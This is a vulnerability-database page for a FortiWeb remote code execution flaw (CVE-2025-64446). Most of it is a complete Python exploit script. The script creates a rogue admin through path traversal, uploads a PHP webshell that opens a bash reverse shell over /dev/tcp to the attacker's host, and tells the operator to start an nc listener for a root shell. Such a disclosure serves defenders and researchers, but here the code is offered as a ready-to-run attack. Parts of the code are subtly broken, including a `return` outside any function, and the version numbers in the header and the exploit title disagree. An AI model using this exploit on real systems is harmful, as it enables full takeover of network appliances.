PACKETSTORM 9.8 CRITICAL

📄 FortiWeb 8.0.1 Remote Code Execution_PACKETSTORM:218665

9.8 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

FortiWeb remote code execution exploit that affects versions prior to 7.6.7, 7.8.7, and 8.0.2...
Visit Original Source

Basic Information

ID PACKETSTORM:218665
Published Apr 10, 2026 at 00:00

Affected Product

Affected Versions # Exploit Title: FortiWeb 8.0.2 - Remote Code Execution
# Date: 2025-11-22
# Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://www.fortinet.com
# Software Link: https://www.fortinet.com/products/web-application-firewall/fortiweb
# Version: FortiWeb < 7.6.7, < 7.8.7, < 8.0.2
# Tested on: FortiWeb 7.4.2, 7.6.0, 7.6.1 (VM builds)
# CVE: CVE-2025-64446
# CVSS: 9.8 (Critical)
# Category: WebApps
# Platform: Hardware/Appliance (Linux-based)
# CRITICAL: True
# Including: Authentication Bypass + Path Traversal + Arbitrary File Upload → RCE
# Impact: Full system compromise, root reverse shell
# Fix: Upgrade to FortiWeb 7.6.7, 7.8.7, 8.0.2 or later
# Advisory: https://www.fortinet.com/support/psirt/FG-IR-25-64446
# Patch: https://support.fortinet.com
# Target: FortiWeb management interface (default port 8443)

import requests, sys, time, base64
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def banner():
print("""
CVE-2025-64446 FortiWeb RCE Exploit
Author: Mohammed Idrees Banyamer | @banyamer_security
LAB / AUTHORIZED TESTING ONLY
""")

if len(sys.argv) != 4:
banner()
print("Usage : python3 fortiweb_rce.py <target> <lhost> <lport>")
print("Example: python3 fortiweb_rce.py https://192.168.100.50:8443 192.168.45.10 4444")
print("\nSteps:")
print(" 1. Start listener → nc -lvnp 4444")
print(" 2. Run exploit → python3 fortiweb_rce.py <target> <your_ip> 4444")
print(" 3. Get root shell → enjoy\n")
sys.exit(1)

banner()
target = sys.argv[1].rstrip("/")
LHOST = sys.argv[2]
LPORT = sys.argv[3]

print(f"[*] Target : {target}")
print(f"[*] Callback : {LHOST}:{LPORT}\n")

s = requests.Session()
s.verify = False
s.headers = {"Content-Type": "application/json"}

print("[1] Creating temporary admin user...")
payload = {"../../mkey": "pwnedadmin", "password": "Pwned123!", "isadmin": "1", "status": "enable"}
r = s.post(f"{target}/api/v2.0/user/local.add", json=payload, timeout=10)
if r.status_code != 200 or "success" not in r.text:
print("[-] Failed to create admin → Target is likely patched")
return

print("[2] Logging in with new admin...")
login = s.post(f"{target}/api/v2.0/login", json={"username":"pwnedadmin","password":"Pwned123!"}, timeout=10)
if "success" not in login.text:
print("[-] Login failed")
return

shell = f'<?php system("bash -c \'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1\'"); ?>'
b64shell = base64.b64encode(shell.encode()).decode() + "AAA=="

print("[3] Uploading webshell via backup function...")
files = {'upload-file': ('pwned.dat', b64shell, 'application/octet-stream')}
s.post(f"{target}/api/v2.0/system/maintenance/backup", files=files, timeout=15)

print(f"[4] Triggering reverse shell to {LHOST}:{LPORT} ...")
s.get(f"{target}/pwned.dat", timeout=10)

time.sleep(8)
print("[5] Cleaning up temporary admin account...")
s.post(f"{target}/api/v2.0/user/local.delete", json={"../../mkey":"pwnedadmin"})

print("\n[+] Exploit completed – check your listener for root shell!")

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.